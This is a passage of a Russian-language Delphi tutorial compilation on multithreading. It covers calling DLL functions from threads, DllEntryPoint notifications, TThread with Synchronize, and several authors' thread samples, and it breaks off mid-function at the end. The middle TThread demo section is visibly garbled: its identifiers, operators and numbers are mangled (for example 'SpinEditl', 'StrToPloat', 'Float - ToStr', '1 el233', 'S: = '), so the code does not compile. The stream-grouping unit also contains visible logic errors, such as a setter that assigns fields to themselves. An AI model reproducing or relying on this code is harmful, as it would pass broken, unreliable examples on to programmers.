Приведенный ниже небольшой фрагмент кода достоин занять место в программе, вызывающей DLL. Он показывает как можно объявить функцию, экспортируемую из DLL, и как вызвать эту функцию из потока. Конечно, обычно нет необходимости вызывать функцию DLL из потока, я делаю это просто для того, чтобы показать функциональное назначение, связанное с обсуждаемыми выше константами Dll_Thread_Attach и Dll_Thread_Detach.

function MyFunc: ShortString;
external 'DLLENTRY1' name 'MyFunc';
procedure ThreadFunc(P: Pointer); stdcall;
var
S: array[0..255] of Char;
begin
StrPCopy(S, MyFunc);
MessageBox(Form1.Handle, S, 'Инфо', mb_Ok);
end;
procedure TForm1.UseThreadClick(Sender: TObject);
var
ThreadID: DWORD;
HThread: THandle;
begin
HThread := CreateThread(nil, 0, @ThreadFunc, 
nil, 0, ThreadID);
if HThread = 0 then ShowMessage('Нет потоков');
end;
Приведенный здесь код делится на три секции. В первой декларируется MyFunc, являющаяся простой реализацией функции в DLL. ThreadFunc сама располагается в отдельном потоке, создаваемом программой. Процедура UseThreadClick создает поток. Сразу после создания потока система вызывет процедуру ThreadFunc.

Вот декларация CreateThread:

var
DWORD = Integer;
function CreateThread(
lpThreadAttributes: Pointer; // атрибуты безопасности потока
dwStackSize: DWORD;          // размер стека для потока
lpStartAddress: TFNThreadStartRoutine; // функция потока
lpParameter: Pointer;        // аргумент для нового потока 
dwCreationFlags: DWORD;      // флаги создания
var lpThreadId: DWORD):      // Возвращаемый идентификатор потока
THandle;                     // Возвращаемый дескриптор потока
В нормальной ситуации большинство параметров, передаваемых CreateThread, могут быть установлены в 0 или nil. Показан типичный пример вызова данной функции, но во многих случаях использование lpParameter неоправданно тяжело. Разумеется, любые переменные, установленные в данном параметре, передаются ThreadFunc в виде единственного аргумента. Фактически, реализация функции потока очень проста, происходит вызов DLL и показывается информационный диалог, демонстрирующий строку, возвращаемую DLL.

Если вы создали программу с потоковой функцией как было показано выше, и создали DLL с функцией DLLEntryPoint, тоже показанной выше, то можно получить визуальное подтверждение того, как работает функция DLLEntryPoint. Поясняю: когда ваша программа загружается в память, DLL также должна быть автоматически загружена, тем самым вызывая MessageBox с текстом `Процесс подключен'. Диалоги появляются в зависимости от причины (Reason) вызова функции DllEntryPoint:

procedure DLLEntryPoint(Reason: DWORD);
begin
case Reason of
Dll_Process_Attach:
MessageBox(DLLHandle, 'Процесс подключен', 'Инфо', mb_Ok);
Dll_Thread_Attach:
MessageBox(DLLHandle, 'Поток подключен', 'Инфо', mb_Ok);
Dll_Thread_Detach:
MessageBox(DLLHandle, 'Поток отключен', 'Инфо', mb_Ok);
Dll_Process_Detach:
MessageBox(DLLHandle, 'Процесс отключен', 'Инфо', mb_Ok);
end; // case
end;
Если вы создали процедуру ThreadFunc, показанную выше, то должно появиться диалоговое окно (MessageBox) с надписью "Поток подключен". При завершении работы подпрограммы ThreadFunc появится окошко с надписью "Поток отключен". Наконец, при закрытии программы должна появиться надпись "Процесс отключен". Пример, демонстрирующий процесс, доступен в сети.

Довольно сложно иллюстрировать технические возможности Delphi. Не все программисты Delphi захотят так глубоко вникать в дебри Windows API. Тем не менее, те, которые хотят воспользоваться мощью Windows 95 и Windows NT на полную катушку, могут видеть, что все современные технологии доступны всем без исключения программистам на Delphi. Приведенный выше пример доступен в Compuserve в виде файла DLLENT.ZIP и также размещен на Интернет-сервере Borland по адресу www.borland.com.

Особенности разработки потоков.

Современные операционные системы Windows 32 обеспечивают не только многозадачность, т. е. возможность параллельной работы нескольких программ, но и многопоточность, когда в рамках одной программы организуется несколько параллельно выполняемых фрагментов (потоков), каждый из которых конкурирует с другими потоками за наиболее важный ресурс - время центрального процессора. В многопоточном режиме время ЦП выделяется для каждого процесса небольшими порциями (квантами), по истечении этого времени управление передается другому потоку и т. д. до тех пор, пока потоки не закончат свою работу. В любой работающей программе организуется как минимум один поток для команд программы. С помощью объектов класса TThread программа может создать дополнительные потоки для проведения некоторой фоновой работы (например, текстовый процессор Word создает дополнительные потоки для проверки правильности орфографии, разбивки на страницы, печати документа и т. п.). Для создания дополнительного потока в программах Delphi предназначен специальный модуль потока в репозитории он обозначен пиктограммой Thread Obiecll). При выборе этого модуля Delphi запрашивает имя класса, который будет дочерним для основополагающего класса TThread. Необходимость наследования связана с тем, что класс TThread содержит абстрактный метод Execute, который, собственно, и должен исполняться в рамках нового потока и который, следовательно, обязан перекрываться в потомках. После указания имени дочернего класса Delphi раскрывает дополнительный модуль с обширным комментарием и заготовкой для дочернего класса.

Например (с соответствующим переводом):

unit Unit1;
interface
uses
  Classes;
type
  MyThread = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end;
implementation
{ Важно: Методы и свойства объектов из библиотеки визуальных компонентов
могут использоваться только в рамках вызова метода Synchronize, например:
Synchronize(UpdateCaption);
где метод UpdateCaption должен быть подобен такому
procedure MyThread.UpdateCaption;
begin
  Formi.Caption := 'Новый текст метки';
end; }
(MyThread}
procedure MyThread.Execute;
begin
  { Пожалуйста, поместите код потока в этом месте }
end;
end.
Программирование потока ничем не отличается от программирования обычной программы за одним важным исключением: поток не должен использовать методы и свойства визуальных компонен тов, которые приводят к изменению внешнего вида программа Точнее, он может это делать только при обращении к специальному методу synchronize, с помощью которого осуществляется синхронизация исполнения главного потока программы с дополнительным потоком. Для иллюстрации приемов работы с потоком создадим программу, которая будет непрерывно обновлять содержимое многострочного редактора и при этом осуществлять математические вычисления. Для ее создания сначала на пустую форму поместите панель TPpanel, очистите ее свойство caption и поместите в Align значение а1Right - эта панель предназначена для размещения редактора TSpinEdit, кнопки TButton и индикатора TGauge и всегда должна располагаться в правой части окна программы. Поместите на панель перечисленные компоненты так, как это показано на рисунке (компоненты TSpinEdit и TGuage находятся на странице samples палитры компонентов). Установите в свойство SpinEditl.Value 3начение 2, присвойте свойству Gaugel. Kind значение gkPie, Gaugel. BorderStyle-bsNone и Button1.Caption — 'Квадрат'. На свободное место формы положите компонент TMemo и установите для него в свойство Align значение а1С1iеnt, а свойство Name- 'mmOutput'. Теперь создадим обработчик события Button1.Click: при нажатии на кнопку вначале содержимое редактора SpinEdit1 возводится в квадрат до тех пор, пока отображаемое в нем значение не слишком большим (больше 10 +1233 ). В этот момент надпись на кнопке меняется на “корень”, а нажатие на нее вычисляет корень квадратный ИЗ величины SpinEdit1.

Дважды щелкните по кнопке Button1и напишите такой код:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Tag = 0 then
  begin
    SpinEditl.Text := Float - ToStr(sqr(StrToPloat(SpinEditl.Text)));
    if StrToFloat(SpinEditl.Text) > 1 el233 then
    begin
      Tag := 1;
      Buttoni.Caption := 'Корень'
    end
  end
  else
  begin
    SpinEditl.Text := FloatToStr(sqrt(StrToFloat(SpinEditl.Text)));
    if StrToFloat(SpinEditl.Text) < 2 then
    begin
      SpinEditl.Value := 2;
      Tag := 0;
      Button1.Caption := 'Квадрат'
    end
  end
end;
Таким образом, главный код программы связан с извлечением корня или возведением в квадрат величины, записанной в редакторе SpinEditl. Теперь создадим модуль потока, в методе Execute которого будем непрерывно формировать по 100 строк в редакторе mmOutput и показывать процент заполнения редактора с помощью индикатора Gaugel.

Выберите пиктограмму модуля потока в окне репозитория Delphi и дайте наследнику класса Thread имя ThreadDemo. Окончательный текст модуля потока представлен ниже.

unit Unit2;
interface
uses
  Classes;
type
  ThreadDemo = class(TThread)
  private
    { Private declarations }
  protected
    S: string;
    N: Integer;
    procedure UpdateMemo;
    procedure UpdateGauge;
    procedure Execute; override;
  end;
var
  TDemo: ThreadDemo;
implementation
uses Uniti, SysUtils;
{ Important: Methods and properties of objects in VCL can only re used.
in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure ThreadDemo.UpdateCaption;
begin
  Formi.Caption := 'Updated in a thread';
end;
ThreadDemo}
procedure ThreadDemo.Execute;
var
  j, k: Integer;
begin
  repeat
    S := '';
    Synchronize(UpdateMemo);
    for k := 0 to 99 do
    begin N := k;
      S: = ' ';
      for j := 1 to 20 do
        S := S + FormatFloat('00', k), Synchronize(UpdateMemo);
      Synchronize(UpdateGauge)
    end;
  until False
end;
procedure ThreadDemo.UpdateMemo;
begin
  with .Form1.mmOutput.Lines do
    if S = ' ' then
      Clear else
      Add(S)
end;
procedure ThreadDemo.UpdateGauge;
begin
  Form1.Gaugel.Progress := N
end;
end.

Если вы запустите таким способом подготовленную программу, то ничего не произойдет - ведь мы еще не запустили поток. Чтобы сделать это, добавьте в модуле Unit1 главной формы ссылку uses Unit1, раскройте в окне Инспектора объектов список компонентов, выберите компонент Form1 и на его странице Event дважды щелкните по свойству onActivate, чтобы создать такой обработчик этого события:

procedure TForm1.FormActivate(Sender: TObject);
begin
  TDemo := ThreadDemo.Create(False),
end;
Вот так просто запускается дополнительный поток - мы инициируем объект TDemo, передавая в его Консруктор ThreadDemo.Create единственный параметр False (этот параметр показывает, должен ли вновь созданный поток “спать” - True или он обязан немедленно начать работу - False). Программа в любой момент может приостановить работу потока, присвоив его свойству suspended значение True, и продолжить его выполнение, присвоив этому свойству значение False. Обратите внимание - метод Execute потока вынесен в секцию protected и поэтому недоступен из основного модуля. Выполнение этого метода начинается автоматически, как только свойство suspended примет значение False.

Для обращения к свойствам и методам визуальных компонентов формы Form1 предназначен специальный метод потока Synchronize. Единственным параметром обращения к этому методу должно быть имя любой потоковой процедуры без параметров. Внутри такой процедуры разрешается обращаться к методам и свойствам визуальных компонентов. В нашем потоке две такие процедуры - UрdаtеМеmо и updateGuage. В первой строка s добавляется к содержимому редактора mmoutput, во втором - глобальная переменная n присваивается свойству progress индикатора Gauge1. Поскольку эти процедуры не могут иметь параметров, для управления их работой приходится использовать глобальные переменные S и N.

Пример работы с потоками.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Menus, Dialogs;
type
  TMainForm = class(TForm)
    MainMenu1: TMainMenu;
    Options1: TMenuItem;
    AddThread: TMenuItem;
    RemoveThread: TMenuItem;
    ColorDialog1: TColorDialog;
    Add10: TMenuItem;
    RemoveAll: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure AddThreadClick(Sender: TObject);
    procedure RemoveThreadClick(Sender: TObject);
    procedure Add10Click(Sender: TObject);
    procedure RemoveAllClick(Sender: TObject);
  private
    ThreadList: TList;
  public
    { Public declarations }
  end;
  TDrawThread = class(TThread)
  private
    FColor: TColor;
    FForm: TForm;
  public
    constructor Create(AForm: TForm; AColor: TColor);
    procedure Execute; override;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
{ TDrawThread }
constructor TDrawThread.Create(AForm: TForm; AColor: TColor);
begin
  FColor := AColor;
  FForm := AForm;
  inherited Create(False);
end;
procedure TDrawThread.Execute;
var
  P1, P2: TPoint;
  procedure GetRandCoords;
  var
    MaxX, MaxY: Integer;
  begin
    // initialize P1 and P2 to random points within Form bounds
    MaxX := FForm.ClientWidth;
    MaxY := FForm.ClientHeight;
    P1.x := Random(MaxX);
    P2.x := Random(MaxX);
    P1.y := Random(MaxY);
    P2.y := Random(MaxY);
  end;
begin
  FreeOnTerminate := True;
  // thread runs until it or the application is terminated
  while not (Terminated or Application.Terminated) do
  begin
    GetRandCoords; // initialize P1 and P2
    with FForm.Canvas do
    begin
      Lock; // lock canvas
      // only one thread at a time can execute the following code:
      Pen.Color := FColor; // set pen color
      MoveTo(P1.X, P1.Y); // move to canvas position P1
      LineTo(P2.X, P2.Y); // draw a line to position P2
      // after the next line executes, another thread will be allowed
      // to enter the above code block
      Unlock; // unlock canvas
    end;
  end;
end;
{ TMainForm }
procedure TMainForm.FormCreate(Sender: TObject);
begin
  ThreadList := TList.Create;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
  RemoveAllClick(nil);
  ThreadList.Free;
end;
procedure TMainForm.AddThreadClick(Sender: TObject);
begin
  // add a new thread to the list... allow user to choose color
  if ColorDialog1.Execute then
    ThreadList.Add(TDrawThread.Create(Self, ColorDialog1.Color));
end;
procedure TMainForm.RemoveThreadClick(Sender: TObject);
begin
  // terminate the last thread in the list and remove it from list
  TDrawThread(ThreadList[ThreadList.Count - 1]).Terminate;
  ThreadList.Delete(ThreadList.Count - 1);
end;
procedure TMainForm.Add10Click(Sender: TObject);
var
  i: Integer;
begin
  // create 10 threads, each with a random color
  for i := 1 to 10 do
    ThreadList.Add(TDrawThread.Create(Self, Random(MaxInt)));
end;
procedure TMainForm.RemoveAllClick(Sender: TObject);
var
  i: Integer;
begin
  Cursor := crHourGlass;
  try
    for i := ThreadList.Count - 1 downto 0 do
    begin
      TDrawThread(ThreadList[i]).Terminate; // terminate thread
      TDrawThread(ThreadList[i]).WaitFor; // make sure thread terminates
    end;
    ThreadList.Clear;
  finally
    Cursor := crDefault;
  end;
end;
initialization
  Randomize; // seed random number generator
end.

Группировка и разгруппировка потоков.

Автор: Delirium WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Группировка/разгруппировка потоков
При написании распределённых приложений, зачастую возникает проблема
в хранении и передаче по сети разнородных данных. Данный класс представляет
собой поток (TStream) позволяющий включать в себя множество других потоков.
Таким образом становится возможным накопить в одном блоке множество
разных данных и управлять ими как единым целым. Дополнительное удобство -
механизм, совмещающий _RecordSet (ADODB) и TStream.
Зависимости: SysUtils, Classes, ADODB, ADOInt, ComObj, Variants
Автор:       Delirium, Master_BRAIN@beep.ru, ICQ:118395746, Москва
Copyright:   Delirium (Master BRAIN)
Дата:        6 декабря 2002 г.
***************************************************** }
unit StreamDirector;
interface
uses
  SysUtils, Classes, ADODB, ADOInt, ComObj, Variants;
const
  NamesSize = 128;
  ErrorStreamIndex = 4294967295;
type
  // Элемент группы
  TStreamDescriptor = record
    Name: string[NamesSize];
    Value: TMemoryStream;
  end;
  // Компонент StreamDirector
  TStreamDirector = class;
  TStreamDirector = class(TComponent)
  private
    FDes: array of TStreamDescriptor;
  protected
    function GetStream(AIndex: Cardinal): TStreamDescriptor;
    procedure SetStream(AIndex: Cardinal; const Value: TStreamDescriptor);
    function GetCount: Cardinal;
    procedure SetCount(ACount: Cardinal);
    function GetDStream: TMemoryStream;
    procedure SetDStream(Value: TMemoryStream);
  public
    constructor Create(Owner: TComponent); override;
    destructor Destroy; override;
    // Добавить поток в группу потоков
    procedure AddFromStream(AName: string; AStream: TStream);
    // Добавить файл в группу потоков
    procedure AddFromFile(AName, AFileName: string);
    // Добавить текст в группу потоков
    procedure AddFromStrings(AName: string; AStrings: TStrings);
    // Получить текст из группы потоков
    function GetStrings(AIndex: Cardinal): TStrings;
    // Добавить _RecordSet в группу потоков
    procedure AddFromRecordSet(AName: string; ARecordSet: _RecordSet);
    // Получить _RecordSet из группы потоков
    function GetRecordSet(AIndex: Cardinal): _RecordSet;
    // Найти иденитфикатор по имени, если не найден - ErrorStreamIndex
    function IndexOfStreamName(AName: string): Cardinal;
    // Загрузить поток с группой из файла
    procedure DirectLoadFromFile(AFileName: string);
    // Получить поток элемента группы
    property Streams[AIndex: Cardinal]: TStreamDescriptor read GetStream write
      SetStream;
    // Кол-во элементов в группе
    property StreamCount: Cardinal read GetCount write SetCount;
    // Получить поток, содержащий группу
    property DirectStream: TMemoryStream read GetDStream write SetDStream;
  published
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Master Components', [TStreamDirector]);
end;
constructor TStreamDirector.Create(Owner: TComponent);
begin
  inherited Create(Owner);
  SetLength(FDes, 0);
end;
destructor TStreamDirector.Destroy;
var
  i: Cardinal;
begin
  if StreamCount > 0 then
    for i := 0 to StreamCount - 1 do
      if Streams[i].Value <> nil then
        Streams[i].Value.Destroy;
  inherited Destroy;
end;
function TStreamDirector.GetStream(AIndex: Cardinal): TStreamDescriptor;
begin
  Result.Name := '';
  Result.Value := nil;
  if AIndex < StreamCount then
  begin
    Result.Name := FDes[AIndex].Name;
    Result.Value := FDes[AIndex].Value;
    if Result.Value <> nil then
      Result.Value.Position := 0;
  end;
end;
procedure TStreamDirector.SetStream(AIndex: Cardinal; const Value:
  TStreamDescriptor);
begin
  if AIndex < StreamCount then
  begin
    FDes[AIndex].Name := FDes[AIndex].Name;
    FDes[AIndex].Value := FDes[AIndex].Value;
  end;
end;
function TStreamDirector.GetCount: Cardinal;
begin
  Result := Length(FDes);
end;
procedure TStreamDirector.SetCount(ACount: Cardinal);
var
  i, n: Cardinal;
  tmp: TStreamDescriptor;
begin
  n := StreamCount;
  if ACount < n then
  begin
    for i := ACount - 1 to n - 1 do
      if Streams[i].Value <> nil then
        Streams[i].Value.Free;
    SetLength(FDes, ACount);
  end
  else
  begin
    SetLength(FDes, ACount);
    tmp.Name := '';
    tmp.Value := nil;
    for i := n - 1 to ACount - 1 do
      Streams[i] := tmp;
  end;
end;
procedure TStreamDirector.AddFromStream(AName: string; AStream: TStream);
begin
  StreamCount := StreamCount + 1;
  FDes[StreamCount - 1].Name := AName;
  FDes[StreamCount - 1].Value := TMemoryStream.Create;
  TMemoryStream(FDes[StreamCount - 1].Value).LoadFromStream(AStream);
  FDes[StreamCount - 1].Value.Position := 0;
end;
procedure TStreamDirector.AddFromFile(AName, AFileName: string);
begin
  StreamCount := StreamCount + 1;
  FDes[StreamCount - 1].Name := AName;
  FDes[StreamCount - 1].Value := TMemoryStream.Create;
  TMemoryStream(FDes[StreamCount - 1].Value).LoadFromFile(AFileName);
  FDes[StreamCount - 1].Value.Position := 0;
end;
procedure TStreamDirector.AddFromStrings(AName: string; AStrings: TStrings);
begin
  StreamCount := StreamCount + 1;
  FDes[StreamCount - 1].Name := AName;
  FDes[StreamCount - 1].Value := TMemoryStream.Create;
  AStrings.SaveToStream(FDes[StreamCount - 1].Value);
  FDes[StreamCount - 1].Value.Position := 0;
end;
function TStreamDirector.GetStrings(AIndex: Cardinal): TStrings;
begin
  Result := TStringList.Create;
  Result.LoadFromStream(Streams[AIndex].Value);
end;
procedure TStreamDirector.AddFromRecordSet(AName: string; ARecordSet:
  _RecordSet);
var
  adoStream: OleVariant;
  St: TStrings;
begin
  // Сначала ADODB.RecordSet -> ADODB.Stream через XML
  adoStream := CreateOLEObject('ADODB.Stream');
  Variant(ARecordSet).Save(adoStream, adPersistXML);
  // Теперь XML -> TStrings
  St := TStringList.Create;
  St.Text := adoStream.ReadText(adoStream.Size);
  // Ну а теперь всё просто
  AddFromStrings(AName, St);
  // Чищу память
  St.Free;
  adoStream := UnAssigned;
end;
function TStreamDirector.GetRecordSet(AIndex: Cardinal): _RecordSet;
var
  adoStream: OleVariant;
  St: TStrings;
begin
  // Получаю TStrings из потока
  St := GetStrings(AIndex);
  // Помещаю XML из TStrings в ADODB.Stream
  adoStream := CreateOLEObject('ADODB.Stream');
  adoStream.Open;
  adoStream.WriteText(St.Text);
  adoStream.Position := 0;
  // Создаю RecordSet, заполняю его из ADODB.Stream
  Result := CreateOLEObject('ADODB.RecordSet') as _RecordSet;
  Result.CursorLocation := adUseClient;
  Result.Open(adoStream, EmptyParam, adOpenStatic, adLockOptimistic,
    adOptionUnspecified);
  // Чищу память
  adoStream := UnAssigned;
  St.Free;
end;
type
  TWriteDirector = record
    Name: string[NamesSize];
    Size: Cardinal;
  end;
function TStreamDirector.GetDStream: TMemoryStream;
var
  i, j: Cardinal;
  WD: TWriteDirector;
begin
  // С пустым работать не буду
  Result := nil;
  if StreamCount = 0 then
    exit;
  // Не пустой
  Result := TMemoryStream.Create;
  // Кол-во потоков
  i := StreamCount;
  Result.Write(i, SizeOf(i));
  // Названия и размеры
  for i := 0 to StreamCount - 1 do
  begin
    // Вычищаю мусор из названий
    SetLength(WD.Name, NamesSize);
    for j := 1 to NamesSize do
      WD.Name[j] := ' ';
    // Пишу дескрипторы
    WD.Name := Streams[i].Name;
    if Streams[i].Value <> nil then
      WD.Size := Streams[i].Value.Size
    else
      WD.Size := 0;
    Result.Write(WD, SizeOf(WD));
  end;
  // Значения
  for i := 0 to StreamCount - 1 do
    if Streams[i].Value <> nil then
    begin
      Streams[i].Value.Position := 0;
      Result.CopyFrom(Streams[i].Value, Streams[i].Value.Size);
    end;
  // Ok
  Result.Position := 0;
end;
procedure TStreamDirector.SetDStream(Value: TMemoryStream);
var
  i, n: Cardinal;
  WDs: array of TWriteDirector;
  SD: TStreamDescriptor;
begin
  Value.Position := 0;
  // Кол-во потоков
  Value.Read(n, SizeOf(n));
  SetLength(WDs, n);
  SetLength(FDes, n);
  // Названия и размеры
  for i := 0 to StreamCount - 1 do
  begin
    Value.Read(WDs[i], SizeOf(WDs[i]));
    FDes[i].Name := WDs[i].Name;
  end;
  // Значения
  for i := 0 to StreamCount - 1 do
  begin
    SD.Name := FDes[i].Name;
    SD.Value := TMemoryStream.Create;
    SD.Value.CopyFrom(Value, WDs[i].Size);
    FDes[i] := SD;
    FDes[i].Value.Position := 0;
  end;
end;
function TStreamDirector.IndexOfStreamName(AName: string): Cardinal;
var
  i: Cardinal;
begin
  Result := ErrorStreamIndex;
  for i := StreamCount - 1 downto 0 do
    if AnsiUpperCase(AName) = AnsiUpperCase(FDes[i].Name) then
      Result := i;
end;
procedure TStreamDirector.DirectLoadFromFile(AFileName: string);
var
  tmp: TMemoryStream;
begin
  tmp := TMemoryStream.Create;
  tmp.LoadFromFile(AFileName);
  DirectStream := tmp;
  tmp.Destroy;
end;
end.
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
  StreamDirector1.AddFromRecordSet('RecordSet1', ADOQuery1.Recordset);
  StreamDirector1.DirectStream.SaveToFile('c:\test');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  StreamDirector1.DirectLoadFromFile('c:\test');
  ADOQuery2.Recordset :=
    StreamDirector1.GetRecordSet(StreamDirector1.IndexOfStreamName('RecordSet1'));
end;

Как создавать потоки без класса TThread.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
procedure incedit1; stdcall;
procedure incedit2; stdcall;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    Button6: TButton;
    Button7: TButton;
    Button2: TButton;
    Button3: TButton;
    Button5: TButton;
    Button4: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
var
  th1, th2: cardinal;
  h1, h2: integer;
procedure incedit1;
var
  i: integer;
begin
  i := 0;
  while true do
  begin
    form1.edit1.text := inttostr(i);
    i := i + 1;
  end;
end;
procedure incedit2;
var
  i: integer;
begin
  i := 0;
  while true do
  begin
    form1.edit2.text := inttostr(i);
    i := i + 1;
  end;
end;
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  h1 := beginthread(nil, 1024, @incedit1, nil, 0, th1);
  h2 := beginthread(nil, 1024, @incedit2, nil, 0, th2);
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
  terminatethread(h1, 0);
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
  terminatethread(h2, 0);
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
  resumethread(h1);
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
  resumethread(h2);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  suspendthread(h1);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
  suspendthread(h2);
end;
end.

Как создавать потоки без класса TThread 2.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
procedure printh(p: pointer); stdcall;
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure printh(p: pointer);
begin
  TForm1(p).caption := 'Hello from thread';
  ExitThread(0);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  h1: cardinal;
begin
  createthread(nil, 128, @printh, self, 0, h1);
end;
end.

Работа в отдельном потоке, которая не мешает основной программе.

Автор: Xavier Pacheco

unit ThrdU;
interface
uses
  Classes;
type
  TTestThread = class(TThread)
  private
    Answer: integer;
  protected
    procedure GiveAnswer;
    procedure Execute; override;
  end;
implementation
uses SysUtils, Main;
{ TTestThread }
procedure TTestThread.GiveAnswer;
begin
  MainForm.Edit1.Text := InttoStr(Answer);
end;
procedure TTestThread.Execute;
var
  I: Integer;
begin
  FreeOnTerminate := True;
  for I := 1 to 2000000 do
  begin
    if Terminated then
      Break;
    Inc(Answer, Round(Abs(Sin(Sqrt(I)))));
    Synchronize(GiveAnswer);
  end;
end;
end.
unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ThrdU;
type
  TMainForm = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.Button1Click(Sender: TObject);
begin
  TTestThread.Create(False);
end;
end.

Пример расчета величины в отдельном потоке.

Статьи по Delphi (017)…
unit uPiThread;
interface
uses
  Classes;
type
  TPiThread = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end;
var
  GlobalPi: Extended;
  GlobalCounter: Int64;
implementation
uses uMain;
{ Important: Methods and properties of objects in VCL or CLX can only be used
  in a method called using Synchronize, for example,
      Synchronize(UpdateCaption);
  and UpdateCaption could look like,
    procedure TPiThread.UpdateCaption;
    begin
      Form1.Caption := 'Updated in a thread';
    end; }
{ TPiThread }
const
 //better to choose odd value, to avoid monotonic increase/decrease ef-fect
  UpdatePeriod = 999999;
procedure TPiThread.Execute;
var sign: Integer;
  PiValue, PrevValue: Extended;
  i: Int64;
begin
 { Place thread code here }
  PiValue := 4;
  sign := -1;
  i := 0;
  repeat
    Inc(i);
    PrevValue := PiValue;
    PiValue := PiValue + sign * 4 / (2 * i + 1);
    sign := -sign;
    if i mod UpdatePeriod = 0 then
    begin
      GlobalPi := PiValue;
      GlobalCounter := i;
      Synchronize(fmMain.UpdatePi);
    end;
  until Terminated or
    (Abs(PiValue - PrevValue) < 1E-19);
end;
end.
unit uMain;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,
  uPiThread;
type
  TfmMain = class(TForm)
    cbCalculate: TCheckBox;
    Label1: TLabel;
    Label2: TLabel;
    laBuiltIn: TLabel;
    laValue: TLabel;
    laIterNum: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure cbCalculateClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    PiThread: TPiThread;
    procedure UpdatePi;
  end;
var
  fmMain: TfmMain;
implementation
{$R *.dfm}
procedure TfmMain.UpdatePi;
begin
  if IsIconic(Application.Handle) then Exit;
  LaValue.Caption := FloatToStrF(GlobalPi, ffFixed, 18, 18);
  laIterNum.Caption := IntToStr(GlobalCounter) + ' iterations';
end;
procedure TfmMain.FormCreate(Sender: TObject);
begin
  laBuiltIn.Caption := FloatToStrF(Pi, ffFixed, 18, 18);
end;
procedure TfmMain.cbCalculateClick(Sender: TObject);
begin
  if cbCalculate.Checked then
  begin
    PiThread := TPiThread.Create(True);
    PiThread.FreeOnTerminate := True;
    PiThread.Priority := tpLower;
    PiThread.Resume;
  end
  else
  begin
    if Assigned(PiThread) then PiThread.Terminate;
  end;
end;
end.
Скачать весь проект

Поток с доступом к глобальной переменной основной программы.

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
{ NOTE: Change GlobalStr from var to threadvar to see difference }
var
  //threadvar
  GlobalStr: string;
type
  TTLSThread = class(TThread)
  private
    FNewStr: string;
  protected
    procedure Execute; override;
  public
    constructor Create(const ANewStr: string);
  end;
procedure SetShowStr(const S: string);
begin
  if S = '' then
    MessageBox(0, PChar(GlobalStr), 'The string is...', MB_OK)
  else
    GlobalStr := S;
end;
constructor TTLSThread.Create(const ANewStr: string);
begin
  FNewStr := ANewStr;
  inherited Create(False);
end;
procedure TTLSThread.Execute;
begin
  FreeOnTerminate := True;
  SetShowStr(FNewStr);
  SetShowStr('');
end;
procedure TMainForm.Button1Click(Sender: TObject);
begin
  SetShowStr('Hello world');
  SetShowStr('');
  TTLSThread.Create('Dilbert');
  Sleep(100);
  SetShowStr('');
end;
end.

Определение количества приостановок (suspend) потока.

Автор: Эдгар WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение количества приостановок (suspend) потока
Зависимости: НЕТУ
Автор:       Эдгар, Songoku@tut.by, Berlin
Copyright:   Copyright DPRSystem 1999-2004 by x-ssg
Дата:        29 февраля 2004 г.
***************************************************** }
function NtSuspendThread(ThreadHandle, PreviousSuspendCount: DWORD): DWORD;
  stdcall external 'NTDLL.DLL';
function NtResumeThread(ThreadHandle, SuspendCount: DWORD): DWORD; stdcall
  external 'NTDLL.DLL';
.....
function GetSuspendCount(Thread: DWORD): DWORD;
var
  tmp: ^DWORD;
begin
  Result := 0;
  if GetCurrentThread <> Thread then
